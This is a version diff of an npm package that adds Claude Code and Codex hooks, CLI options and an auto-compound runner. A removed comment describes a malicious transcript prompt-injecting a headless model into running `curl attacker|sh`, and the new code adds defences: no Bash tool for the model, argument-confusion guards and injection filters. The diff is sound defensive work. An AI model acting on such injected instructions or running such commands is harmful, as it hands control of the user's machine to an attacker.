@wooojin/forgen 0.5.0 → 0.5.6

package/assets/shared/hook-registry.json

@@ -1,24 +1,219 @@
 [
-  { "name": "notepad-injector",       "tier": "compound-core", "event": "UserPromptSubmit",   "matcher": "*",          "script": "hooks/notepad-injector.js",       "timeout": 3, "compoundCritical": false },
-  { "name": "context-guard",          "tier": "compound-core", "event": "UserPromptSubmit",   "matcher": "*",          "script": "hooks/context-guard.js",          "timeout": 2, "compoundCritical": false },
-  { "name": "session-recovery",       "tier": "compound-core", "event": "SessionStart",       "matcher": "*",          "script": "hooks/session-recovery.js",       "timeout": 3, "compoundCritical": true  },
-  { "name": "post-tool-use",          "tier": "compound-core", "event": "PostToolUse",        "matcher": "*",          "script": "hooks/post-tool-use.js",          "timeout": 3, "compoundCritical": true  },
-  { "name": "pre-compact",            "tier": "compound-core", "event": "PreCompact",         "matcher": "*",          "script": "hooks/pre-compact.js",            "timeout": 3, "compoundCritical": false },
-  { "name": "context-guard-stop",     "tier": "compound-core", "event": "Stop",               "matcher": "*",          "script": "hooks/context-guard.js",          "timeout": 5, "compoundCritical": false },
-  { "name": "stop-guard",             "tier": "compound-core", "event": "Stop",               "matcher": "*",          "script": "hooks/stop-guard.js",             "timeout": 10, "compoundCritical": true  },
-  { "name": "pre-tool-use",           "tier": "compound-core", "event": "PreToolUse",         "matcher": "*",          "script": "hooks/pre-tool-use.js",           "timeout": 3, "compoundCritical": true  },
-  { "name": "secret-filter",          "tier": "safety",        "event": "PostToolUse",        "matcher": "Write|Edit|Bash", "script": "hooks/secret-filter.js",     "timeout": 3, "compoundCritical": false },
-  { "name": "slop-detector",          "tier": "safety",        "event": "PostToolUse",        "matcher": "Write|Edit",      "script": "hooks/slop-detector.js",     "timeout": 3, "compoundCritical": false },
-  { "name": "db-guard",               "tier": "safety",        "event": "PreToolUse",         "matcher": "Bash",            "script": "hooks/db-guard.js",          "timeout": 3, "compoundCritical": false },
-  { "name": "rate-limiter",           "tier": "safety",        "event": "PreToolUse",         "matcher": "*",          "script": "hooks/rate-limiter.js",           "timeout": 2, "compoundCritical": false },
-  { "name": "intent-classifier",      "tier": "workflow",      "event": "UserPromptSubmit",   "matcher": "*",          "script": "hooks/intent-classifier.js",      "timeout": 3, "compoundCritical": false },
-  { "name": "keyword-detector",       "tier": "workflow",      "event": "UserPromptSubmit",   "matcher": "*",          "script": "hooks/keyword-detector.js",       "timeout": 5, "compoundCritical": false },
-  { "name": "permission-handler",     "tier": "workflow",      "event": "PermissionRequest",  "matcher": "*",          "script": "hooks/permission-handler.js",     "timeout": 2, "compoundCritical": false },
-  { "name": "subagent-tracker-start", "tier": "workflow",      "event": "SubagentStart",      "matcher": "*",          "script": "hooks/subagent-tracker.js start", "timeout": 2, "compoundCritical": false },
-  { "name": "subagent-tracker-stop",  "tier": "workflow",      "event": "SubagentStop",       "matcher": "*",          "script": "hooks/subagent-tracker.js stop",  "timeout": 2, "compoundCritical": false },
-  { "name": "subagent-stop-guard",    "tier": "workflow",      "event": "SubagentStop",       "matcher": "*",          "script": "hooks/subagent-stop-guard.js",    "timeout": 10, "compoundCritical": false },
-  { "name": "post-tool-failure",      "tier": "workflow",      "event": "PostToolUseFailure", "matcher": "*",          "script": "hooks/post-tool-failure.js",      "timeout": 3, "compoundCritical": false },
-  { "name": "solution-injector",     "tier": "compound-core", "event": "UserPromptSubmit",   "matcher": "*",          "script": "hooks/solution-injector.js",      "timeout": 5, "compoundCritical": true  },
-  { "name": "skill-injector",        "tier": "compound-core", "event": "UserPromptSubmit",   "matcher": "*",          "script": "hooks/skill-injector.js",         "timeout": 5, "compoundCritical": true  },
-  { "name": "forge-loop-progress",   "tier": "compound-core", "event": "UserPromptSubmit",   "matcher": "*",          "script": "hooks/forge-loop-progress.js",    "timeout": 2, "compoundCritical": false }
+  {
+    "name": "notepad-injector",
+    "tier": "compound-core",
+    "event": "UserPromptSubmit",
+    "matcher": "*",
+    "script": "hooks/notepad-injector.js",
+    "timeout": 3,
+    "compoundCritical": false
+  },
+  {
+    "name": "context-guard",
+    "tier": "compound-core",
+    "event": "UserPromptSubmit",
+    "matcher": "*",
+    "script": "hooks/context-guard.js",
+    "timeout": 2,
+    "compoundCritical": false
+  },
+  {
+    "name": "session-recovery",
+    "tier": "compound-core",
+    "event": "SessionStart",
+    "matcher": "*",
+    "script": "hooks/session-recovery.js",
+    "timeout": 3,
+    "compoundCritical": true,
+    "codex": {
+      "additionalContextLimit": 0
+    }
+  },
+  {
+    "name": "post-tool-use",
+    "tier": "compound-core",
+    "event": "PostToolUse",
+    "matcher": "*",
+    "script": "hooks/post-tool-use.js",
+    "timeout": 3,
+    "compoundCritical": true
+  },
+  {
+    "name": "pre-compact",
+    "tier": "compound-core",
+    "event": "PreCompact",
+    "matcher": "*",
+    "script": "hooks/pre-compact.js",
+    "timeout": 3,
+    "compoundCritical": false
+  },
+  {
+    "name": "context-guard-stop",
+    "tier": "compound-core",
+    "event": "Stop",
+    "matcher": "*",
+    "script": "hooks/context-guard.js",
+    "timeout": 5,
+    "compoundCritical": false
+  },
+  {
+    "name": "stop-guard",
+    "tier": "compound-core",
+    "event": "Stop",
+    "matcher": "*",
+    "script": "hooks/stop-guard.js",
+    "timeout": 10,
+    "compoundCritical": true
+  },
+  {
+    "name": "pre-tool-use",
+    "tier": "compound-core",
+    "event": "PreToolUse",
+    "matcher": "*",
+    "script": "hooks/pre-tool-use.js",
+    "timeout": 3,
+    "compoundCritical": true
+  },
+  {
+    "name": "secret-filter",
+    "tier": "safety",
+    "event": "PostToolUse",
+    "matcher": "Write|Edit|Bash",
+    "script": "hooks/secret-filter.js",
+    "timeout": 3,
+    "compoundCritical": false
+  },
+  {
+    "name": "slop-detector",
+    "tier": "safety",
+    "event": "PostToolUse",
+    "matcher": "Write|Edit",
+    "script": "hooks/slop-detector.js",
+    "timeout": 3,
+    "compoundCritical": false
+  },
+  {
+    "name": "db-guard",
+    "tier": "safety",
+    "event": "PreToolUse",
+    "matcher": "Bash",
+    "script": "hooks/db-guard.js",
+    "timeout": 3,
+    "compoundCritical": false
+  },
+  {
+    "name": "rate-limiter",
+    "tier": "safety",
+    "event": "PreToolUse",
+    "matcher": "*",
+    "script": "hooks/rate-limiter.js",
+    "timeout": 2,
+    "compoundCritical": false
+  },
+  {
+    "name": "intent-classifier",
+    "tier": "workflow",
+    "event": "UserPromptSubmit",
+    "matcher": "*",
+    "script": "hooks/intent-classifier.js",
+    "timeout": 3,
+    "compoundCritical": false
+  },
+  {
+    "name": "keyword-detector",
+    "tier": "workflow",
+    "event": "UserPromptSubmit",
+    "matcher": "*",
+    "script": "hooks/keyword-detector.js",
+    "timeout": 5,
+    "compoundCritical": false
+  },
+  {
+    "name": "permission-handler",
+    "tier": "workflow",
+    "event": "PermissionRequest",
+    "matcher": "*",
+    "script": "hooks/permission-handler.js",
+    "timeout": 2,
+    "compoundCritical": false
+  },
+  {
+    "name": "subagent-tracker-start",
+    "tier": "workflow",
+    "event": "SubagentStart",
+    "matcher": "*",
+    "script": "hooks/subagent-tracker.js start",
+    "timeout": 2,
+    "compoundCritical": false
+  },
+  {
+    "name": "subagent-tracker-stop",
+    "tier": "workflow",
+    "event": "SubagentStop",
+    "matcher": "*",
+    "script": "hooks/subagent-tracker.js stop",
+    "timeout": 2,
+    "compoundCritical": false
+  },
+  {
+    "name": "subagent-stop-guard",
+    "tier": "workflow",
+    "event": "SubagentStop",
+    "matcher": "*",
+    "script": "hooks/subagent-stop-guard.js",
+    "timeout": 10,
+    "compoundCritical": false
+  },
+  {
+    "name": "post-tool-failure",
+    "tier": "workflow",
+    "event": "PostToolUseFailure",
+    "matcher": "*",
+    "script": "hooks/post-tool-failure.js",
+    "timeout": 3,
+    "compoundCritical": false,
+    "hosts": [
+      "claude"
+    ]
+  },
+  {
+    "name": "solution-injector",
+    "tier": "compound-core",
+    "event": "UserPromptSubmit",
+    "matcher": "*",
+    "script": "hooks/solution-injector.js",
+    "timeout": 5,
+    "compoundCritical": true
+  },
+  {
+    "name": "skill-injector",
+    "tier": "compound-core",
+    "event": "UserPromptSubmit",
+    "matcher": "*",
+    "script": "hooks/skill-injector.js",
+    "timeout": 5,
+    "compoundCritical": true
+  },
+  {
+    "name": "forge-loop-progress",
+    "tier": "compound-core",
+    "event": "UserPromptSubmit",
+    "matcher": "*",
+    "script": "hooks/forge-loop-progress.js",
+    "timeout": 2,
+    "compoundCritical": false
+  },
+  {
+    "name": "session-end",
+    "tier": "compound-core",
+    "event": "SessionEnd",
+    "matcher": "*",
+    "script": "hooks/session-end.js",
+    "timeout": 3,
+    "compoundCritical": true,
+    "hosts": [
+      "claude",
+      "codex"
+    ]
+  }
 ]

package/dist/cli.js

@@ -181,19 +181,23 @@ const commands = [
     },
     {
         name: 'install',
-        description: 'Install forgen into a host. Usage: forgen install [claude|codex|opencode|both] [--dry-run] [--no-mcp]',
+        description: 'Install forgen into a host. Usage: forgen install [claude|codex|opencode|both] [--dry-run] [--no-mcp] [--no-notify] [--no-verify-skill]',
         handler: async (args) => {
             const knownSubs = new Set(['claude', 'codex', 'opencode', 'both']);
             const target = args[0] && knownSubs.has(args[0]) ? args[0] : args[0]?.startsWith('--') ? undefined : args[0];
             if (target !== undefined && !knownSubs.has(target)) {
-                console.log('Usage:\n  forgen install [claude|codex|opencode|both] [--dry-run] [--no-mcp]\n\n  No arg → interactive 3-choice (Claude/Codex/Both). opencode: 명시 타겟(P1 실험적).');
+                console.log('Usage:\n  forgen install [claude|codex|opencode|both] [--dry-run] [--no-mcp] [--no-notify] [--no-verify-skill]\n\n  No arg → interactive 3-choice (Claude/Codex/Both). opencode: 명시 타겟(P1 실험적).\n  --no-notify: Codex config.toml 에 notify 폴백을 등록하지 않음.\n  --no-verify-skill: Claude ~/.claude/skills/verify 를 설치하지 않음.');
                 return;
             }
             const dryRun = args.includes('--dry-run');
             const registerMcp = !args.includes('--no-mcp');
             const { runInstall, renderResult, resolvePkgRootFromBinary } = await import('./host/install-orchestrator.js');
             const pkgRoot = resolvePkgRootFromBinary(import.meta.url);
-            const result = await runInstall({ target, pkgRoot, dryRun, registerMcp });
+            const result = await runInstall({
+                target, pkgRoot, dryRun, registerMcp,
+                registerNotify: !args.includes('--no-notify'),
+                installVerifySkill: !args.includes('--no-verify-skill'),
+            });
             if (result === null) {
                 console.log('\n  [forgen] Install skipped.');
                 return;

package/dist/core/auto-compound-runner.js

@@ -49,7 +49,10 @@ function execClaudeRetry(args, opts) {
         const MAX_ATTEMPTS = 2;
         for (let attempt = 1; attempt <= MAX_ATTEMPTS; attempt++) {
             try {
-                return execFileSync('claude', args, opts);
+                return execFileSync('claude', mod.withNestedRunClaudeArgs(args), {
+                    ...opts,
+                    env: { ...process.env, ...(opts.env ?? {}), ...mod.NESTED_RUN_ENV },
+                });
             }
             catch (e) {
                 const msg = e instanceof Error ? e.message : String(e);
@@ -122,7 +125,10 @@ export async function execClaudeRetryAsync(args, opts) {
         const MAX_ATTEMPTS = 2;
         for (let attempt = 1; attempt <= MAX_ATTEMPTS; attempt++) {
             try {
-                const { stdout } = await execFileAsync('claude', args, opts);
+                const { stdout } = await execFileAsync('claude', mod.withNestedRunClaudeArgs(args), {
+                    ...opts,
+                    env: { ...process.env, ...(opts.env ?? {}), ...mod.NESTED_RUN_ENV },
+                });
                 return typeof stdout === 'string' ? stdout : stdout.toString();
             }
             catch (e) {
@@ -359,31 +365,84 @@ try {
         }
     }
     catch { /* ignore */ }
+    // 결함2 corrected fix (2026-08-19): 이전엔 모델에게 `Bash(forgen compound:*)` 도구를 주고
+    // forgen compound 를 "직접 실행"시켰으나, headless haiku 는 도구 호출이 근본적으로
+    // 불안정해(라이브 확증: 동일 조건에서 실행/미실행 1↔0 오락가락) 산출이 forgen 생애
+    // 통틀어 0건이었다. 이제 behavior 경로와 동일하게 — 모델은 재사용 솔루션을 텍스트로만
+    // 출력하고(안정적), 러너가 파싱해 forgen 을 직접 실행한다.
+    //   이점: (a) 모델에 Bash 도구를 아예 주지 않으므로 P1-S1 인젝션 표면 제거 — 모델 출력은
+    //   파싱·필터를 거쳐 execFileSync 의 *인자*로만 쓰이고 셸을 거치지 않아 임의 명령 실행 불가.
+    //   (b) 도구 호출 신뢰성 문제 제거. (c) forgen 을 이 러너 node 의 형제 바이너리(절대경로)로
+    //   호출해 cron sparse PATH 에 forgen 이 없던 문제(라이브 확증)도 해소.
     const solutionPrompt = `다음은 이전 Claude Code 세션의 대화 요약입니다.
-미래 세션에서 재사용할 수 있는 패턴, 해결책, 의사결정을 추출해주세요.
+미래 세션에서 재사용할 수 있는 패턴/해결책/의사결정을 추출해주세요.
+각 항목을 정확히 아래 한 줄 형식으로만 출력하세요 (다른 설명 없이, 코드블록도 불필요):
+forgen compound --solution "제목" "설명 (무엇 + 왜 + 어떻게 적용)"
 
-각 항목은 반드시 다음을 포함해야 합니다:
-- **제목**: 구체적이고 검색 가능한 이름 (예: "vitest-mock-esm-pattern", "react-state-lifting-decision")
-- **설명**: (1) 무엇을 했는지 (2) 왜 그렇게 했는지 (3) 어떻게 적용하는지
-
-형식: forgen compound --solution "제목" "설명 (why + how to apply)"
+- 제목: 구체적이고 검색 가능한 이름 (예: "react-high-frequency-event-raf-throttle")
+- 설명: (1) 무엇을 했는지 (2) 왜 그렇게 했는지 (3) 어떻게 적용하는지
 추출할 것이 없으면 "추출할 패턴 없음"이라고만 답하세요.
 최대 3개. 피상적인 관찰(예: "TypeScript를 사용함")은 제외. 기존 솔루션과 중복 금지.${existingList}
 
 ---
 ${sanitizedSummary.slice(0, 6000)}
 ---`;
-    // P1-S1 fix (2026-04-20): 과거에는 `--allowedTools Bash`로 전체 Bash 권한을 줘서
-    // 악성 transcript(공급망 인젝션)가 filter를 우회해 `curl attacker|sh` 같은 명령을
-    // 피해자 권한으로 실행시킬 수 있었다. 이제 `Bash(forgen compound:*)`로 좁혀 Claude
-    // 가 compound 추출용 forgen CLI 호출만 가능하게 한다. filter-bypass 시에도 임의
-    // 명령 실행 차단.
+    let solutionOutput = '';
     try {
-        extractViaHaiku(['-p', solutionPrompt, '--allowedTools', 'Bash(forgen compound:*)', '--model', COMPOUND_MODEL], { cwd, timeout: 90_000, stdio: ['pipe', 'ignore', 'pipe'] });
+        solutionOutput = extractViaHaiku(['-p', solutionPrompt, '--model', COMPOUND_MODEL], { cwd, timeout: 90_000, encoding: 'utf-8' }) || '';
     }
     catch (e) {
         process.stderr.write(`[forgen-auto-compound] solution extraction: ${e instanceof Error ? e.message : String(e)}\n`);
     }
+    // 모델 출력에서 `--solution "제목" "설명"` 을 파싱해 forgen 을 직접 실행(결정론적).
+    // forgen 은 이 러너를 돌리는 node 의 형제 바이너리를 절대경로로 호출 — sparse PATH 의존 제거.
+    const nodeBinDir = path.dirname(process.execPath);
+    const forgenBin = fs.existsSync(path.join(nodeBinDir, 'forgen'))
+        ? path.join(nodeBinDir, 'forgen')
+        : 'forgen';
+    const solutionArgRe = /--solution\s+"((?:[^"\\]|\\.)+)"\s+"((?:[^"\\]|\\.)+)"/g;
+    let match;
+    let extractedCount = 0;
+    // biome-ignore lint/suspicious/noAssignInExpressions: regex exec 루프 관용구
+    while ((match = solutionArgRe.exec(solutionOutput)) !== null && extractedCount < 3) {
+        const title = match[1].replace(/\\"/g, '"').trim();
+        const rawContent = match[2].replace(/\\"/g, '"').trim();
+        if (!title || rawContent.length < 20)
+            continue;
+        // 보안(argument confusion): title/content 는 untrusted 모델 출력이다. execFileSync
+        // 인자로 넘기므로 셸 인젝션은 없지만, '-' 로 시작하면 forgen 의 인자 파서가 이를
+        // 플래그로 오해석할 수 있다(예: 악성 title "--remove" → 삭제 분기). 정상 제목/설명은
+        // '-' 로 시작하지 않으므로 대시-선두 값은 스킵한다. (handleCompound 의 위치인자 파서가
+        // startsWith('--') 를 필터하는 것에 더해 러너에서 원천 차단.)
+        if (title.startsWith('-') || rawContent.startsWith('-')) {
+            process.stderr.write('[forgen-auto-compound] solution: dash-leading title/content, skipping (arg-confusion guard)\n');
+            continue;
+        }
+        // 모델 출력은 untrusted transcript 파생 — 저장 전 injection/exfil 필터(defense in depth).
+        if (containsPromptInjection(`${title} ${rawContent}`)) {
+            process.stderr.write('[forgen-auto-compound] solution: injection detected in LLM output, skipping\n');
+            continue;
+        }
+        const contentScan = filterSolutionContent(rawContent);
+        if (contentScan.verdict === 'block') {
+            process.stderr.write('[forgen-auto-compound] solution: content blocked by filter, skipping\n');
+            continue;
+        }
+        try {
+            // title/content 는 execFileSync 의 *인자*로만 전달 — 셸 미경유라 메타문자가 있어도
+            // 명령 인젝션 불가. FORGEN_HOME 등 env 는 그대로 상속되어 올바른 스토어에 기록된다.
+            execFileSync(forgenBin, ['compound', '--solution', title, contentScan.sanitized], {
+                cwd,
+                timeout: 20_000,
+                stdio: ['ignore', 'ignore', 'pipe'],
+                env: { ...process.env, PATH: `${nodeBinDir}${path.delimiter}${process.env.PATH ?? ''}` },
+            });
+            extractedCount++;
+        }
+        catch (e) {
+            process.stderr.write(`[forgen-auto-compound] solution write: ${e instanceof Error ? e.message : String(e)}\n`);
+        }
+    }
     // Post-extraction quality validation: remove files that fail lightweight gates
     const removedCount = validateSolutionFiles(solutionsBefore);
     if (removedCount > 0) {

package/dist/core/changelog-cli.d.ts

@@ -4,4 +4,7 @@
  * Reads git log between the latest vX.Y.Z tag and HEAD, groups by
  * conventional commit type, and outputs a ready-to-paste changelog.
  */
-export declare function handleChangelog(): Promise<void>;
+/** `opts.cwd`: git 저장소 위치 (기본 process.cwd()). 테스트 fixture 용. */
+export declare function handleChangelog(opts?: {
+    cwd?: string;
+}): Promise<void>;

package/dist/core/changelog-cli.js

@@ -14,23 +14,23 @@ const C = {
     green: isTTY ? '\x1b[32m' : '',
     yellow: isTTY ? '\x1b[33m' : '',
 };
-function getLatestTag() {
+function getLatestTag(cwd) {
     try {
         return execFileSync('git', ['describe', '--tags', '--abbrev=0'], {
-            encoding: 'utf-8', timeout: 5000, stdio: ['pipe', 'pipe', 'pipe'],
+            encoding: 'utf-8', timeout: 5000, stdio: ['pipe', 'pipe', 'pipe'], cwd,
         }).trim();
     }
     catch {
         return null;
     }
 }
-function getCommitsSince(tag) {
+function getCommitsSince(tag, cwd) {
     try {
         const args = tag
             ? ['log', `${tag}..HEAD`, '--oneline', '--no-merges']
             : ['log', '--oneline', '--no-merges', '-30'];
         return execFileSync('git', args, {
-            encoding: 'utf-8', timeout: 10000, stdio: ['pipe', 'pipe', 'pipe'],
+            encoding: 'utf-8', timeout: 10000, stdio: ['pipe', 'pipe', 'pipe'], cwd,
         }).trim().split('\n').filter(Boolean);
     }
     catch {
@@ -55,9 +55,10 @@ const TYPE_ORDER = {
     chore: { label: 'Maintenance', order: 6 },
     other: { label: 'Other', order: 7 },
 };
-export async function handleChangelog() {
-    const tag = getLatestTag();
-    const rawCommits = getCommitsSince(tag);
+/** `opts.cwd`: git 저장소 위치 (기본 process.cwd()). 테스트 fixture 용. */
+export async function handleChangelog(opts = {}) {
+    const tag = getLatestTag(opts.cwd);
+    const rawCommits = getCommitsSince(tag, opts.cwd);
     if (rawCommits.length === 0) {
         console.log(`\n  ${C.dim}No commits since ${tag ?? 'beginning'}.${C.reset}\n`);
         return;

package/dist/core/compound-sweep-cli.d.ts

@@ -52,6 +52,9 @@ export interface CronOpResult {
 export declare function installCron(): CronOpResult;
 export declare function uninstallCron(): CronOpResult;
 export declare function cronStatus(): CronOpResult;
-/** CLI: forgen compound sweep [--dry-run|--install-cron|--uninstall-cron|--cron-status] [--window-hours N] [--stale-hours M] */
+/**
+ * CLI: forgen compound sweep [--dry-run|--install-cron|--uninstall-cron|--cron-status]
+ *   [--window-hours N] [--stale-hours M] [--prune-removed [--apply] [--retention-days N]]
+ */
 export declare function compoundSweepCli(args: string[]): void;
 export {};

package/dist/core/compound-sweep-cli.js

@@ -17,6 +17,7 @@ import { fileURLToPath } from 'node:url';
 import { STATE_DIR } from './paths.js';
 import { runAutoCompound } from './spawn.js';
 import { createLogger } from './logger.js';
+import { pruneRemovedRules } from '../store/rule-store.js';
 const log = createLogger('compound-sweep');
 export const DEFAULT_SWEEP_OPTS = {
     windowMs: 24 * 60 * 60 * 1000,
@@ -317,8 +318,15 @@ export function cronStatus() {
         return { ok: false, message: e.message };
     }
 }
-/** CLI: forgen compound sweep [--dry-run|--install-cron|--uninstall-cron|--cron-status] [--window-hours N] [--stale-hours M] */
+/**
+ * CLI: forgen compound sweep [--dry-run|--install-cron|--uninstall-cron|--cron-status]
+ *   [--window-hours N] [--stale-hours M] [--prune-removed [--apply] [--retention-days N]]
+ */
 export function compoundSweepCli(args) {
+    const num = (flag) => {
+        const i = args.indexOf(flag);
+        return i >= 0 && args[i + 1] ? Number(args[i + 1]) : undefined;
+    };
     // cron 관리 플래그 (상호배타 — 우선 처리)
     if (args.includes('--install-cron')) {
         const r = installCron();
@@ -333,11 +341,23 @@ export function compoundSweepCli(args) {
         console.log(`[forgen compound sweep] cron: ${cronStatus().message}`);
         return;
     }
+    // (D) removed 상태 rule 파일 정리. `forgen compound prune` 전용 top-level 커맨드
+    // 대신 sweep 을 확장한 형태로 노출 — cli.ts 라우팅(현재 `compound sweep`만 위임)을
+    // 건드리지 않기 위한 선택. 기본 dry-run — 실제 삭제는 --apply 명시 시에만.
+    if (args.includes('--prune-removed')) {
+        const apply = args.includes('--apply');
+        const retentionDays = num('--retention-days');
+        const r = pruneRemovedRules({
+            apply,
+            ...(retentionDays ? { retentionMs: retentionDays * 24 * 3600_000 } : {}),
+        });
+        console.log(`[forgen compound sweep --prune-removed] candidates=${r.candidates.length} ` +
+            (apply
+                ? `deleted=${r.deleted.length}`
+                : `(dry-run — add --apply to delete)${r.candidates.length ? ` [${r.candidates.map((id) => id.slice(0, 8)).join(', ')}]` : ''}`));
+        return;
+    }
     const dryRun = args.includes('--dry-run');
-    const num = (flag) => {
-        const i = args.indexOf(flag);
-        return i >= 0 && args[i + 1] ? Number(args[i + 1]) : undefined;
-    };
     const wh = num('--window-hours');
     const sh = num('--stale-hours');
     const r = runCompoundSweep({

package/dist/core/doctor.js

@@ -52,6 +52,41 @@ function relativeTime(isoString) {
     }
     return `${diffDays}d ago`;
 }
+/** ADR-014 D4 — [Codex Hooks] 섹션: hooks.json forgen 엔트리의 Codex trust 기록 대조 */
+async function renderCodexHookTrust() {
+    try {
+        const codexHome = process.env.CODEX_HOME ?? path.join(os.homedir(), '.codex');
+        const hooksPath = path.join(codexHome, 'hooks.json');
+        if (!fs.existsSync(hooksPath))
+            return; // Codex 미설치/미등록 — 섹션 생략
+        const { auditCodexHookTrust } = await import('../host/install-codex.js');
+        // pkgRoot: dist/core/doctor.js → 두 단계 위. 어차피 FORGEN_HOOK_SCRIPT_MARKER fallback 이 있어 정확도 비의존.
+        const pkgRoot = path.resolve(path.dirname(fileURLToPath(import.meta.url)), '..', '..');
+        const t = auditCodexHookTrust({ hooksPath, configTomlPath: path.join(codexHome, 'config.toml'), pkgRoot });
+        console.log('  [Codex Hooks]');
+        if (t.total === 0) {
+            console.log('  △ hooks.json 에 forgen hook 없음 — forgen install codex');
+        }
+        else if (t.trusted === t.total) {
+            console.log(`  ✓ ${t.trusted}/${t.total} forgen hooks trusted by Codex`);
+        }
+        else if (t.noStateRecorded) {
+            console.log(`  △ ${t.total} forgen hooks registered, Codex trust 기록 없음 — codex 안에서 /hooks 로 승인 (미승인 훅은 skip 됨)`);
+        }
+        else {
+            const pending = [...t.modified.map((k) => `${k} modified`), ...t.untrusted.map((k) => `${k} new`), ...t.disabled.map((k) => `${k} disabled`)];
+            console.log(`  ✗ ${pending.length}/${t.total} forgen hooks skipped by Codex (${pending.slice(0, 4).join(', ')}${pending.length > 4 ? ', …' : ''}) — codex 안에서 /hooks 로 승인`);
+        }
+        // ADR-016 D1 — notify 폴백이 관측한 "턴은 끝났는데 forgen 훅이 돌지 않음"
+        const { readCodexHooksSilent } = await import('../host/codex-notify.js');
+        const silent = readCodexHooksSilent();
+        // 1회 관측은 Stop 훅이 돌지 않는 내부 서브세션(/review 등)의 notify 일 수 있다 — 연속 2회부터 표시.
+        if (silent && silent.count >= 2) {
+            console.log(`  ✗ notify 폴백 관측: 최근 Codex 턴 ${silent.count}회에서 forgen 훅 미발화 (마지막 ${silent.detectedAt}, session ${silent.sessionId.slice(0, 8)}) — /hooks 승인 필요`);
+        }
+    }
+    catch { /* fail-open */ }
+}
 /** [Codex Parity] 섹션 렌더링 — ~/.forgen/state/parity-result.json 신선도 검사 */
 function renderCodexParity() {
     console.log('  [Codex Parity]');
@@ -538,6 +573,8 @@ export async function runDoctor(opts = {}) {
         console.log('  Unable to read host evidence data.');
     }
     console.log();
+    // [Codex Hooks] — ADR-014 D4 trust 감사
+    await renderCodexHookTrust();
     // [Codex Parity] — parity-result.json 신선도 검사 (v0.4.2 패턴 확장)
     renderCodexParity();
     console.log();

package/dist/core/spawn.d.ts

@@ -1,5 +1,21 @@
 import type { V1HarnessContext } from './harness.js';
 import type { RuntimeHost } from './types.js';
+/**
+ * 사용자 메시지 수 카운트 (streaming).
+ *
+ * Audit fix #8 (2026-04-21): 이전에는 `fs.readFileSync(transcript, 'utf-8')`로
+ * 파일 전체를 메모리에 올렸다. 수백 MB 규모 transcript에서는 heap spike가
+ * 발생했고, 카운트 외엔 내용이 필요 없으니 streaming line-by-line로 충분하다.
+ */
+/**
+ * 0.4.6 — claude/codex 양 schema 호환.
+ *
+ * Claude JSONL: {type: 'user' | 'queue-operation', ...}
+ * Codex JSONL: {type: 'response_item', payload: {role: 'user' | 'developer' | 'assistant', ...}}
+ *
+ * 단일 함수에서 둘 다 처리 — schema 자동 감지.
+ */
+export declare function countUserMessages(transcriptPath: string): Promise<number>;
 /** runAutoCompound 결과 — sweep(무인 cron)이 실제 spawn 만 기록하도록 상태 반환. */
 export type AutoCompoundStatus = 'spawned' | 'skipped-inflight' | 'skipped-dedup' | 'failed';
 /**
@@ -22,6 +38,16 @@ export type AutoCompoundStatus = 'spawned' | 'skipped-inflight' | 'skipped-dedup
 export declare function claimAutoCompoundInflight(sessionId: string, now?: number): boolean;
 /** in-flight 슬롯 해제 (spawn 실패 시 재시도 가능하도록). */
 export declare function releaseAutoCompoundInflight(sessionId: string): void;
+/**
+ * ~/.forgen/state/auto-compound/<sessionId>.log — 세션별 러너 로그 경로.
+ *
+ * 결함2 관측성 fix (2026-08-18): 이전엔 detached spawn 을 `stdio: 'ignore'` 로
+ * 실행해 러너의 stdout/stderr(진단 메시지 포함)를 통째로 버렸다. 그 결과 solution
+ * extraction 이 98/98 sweep 에서 `extractedSolutions=0` 을 기록해도 원인을 알 방법이
+ * 없었다(완전 무음 실패). 이제 fd 를 파일로 열어 넘겨 러너의 모든 출력을 세션별
+ * 로그로 남긴다 — 다음 실패 모드를 디버그 가능하게 만드는 전제 조건.
+ */
+export declare function autoCompoundLogPath(sessionId: string): string;
 export declare function runAutoCompound(cwd: string, transcriptPath: string, sessionId: string, promptCount?: number): AutoCompoundStatus;
 /**
  * Plan B-1: 세션 transcript 사후 스캔으로 rate-limit 감지.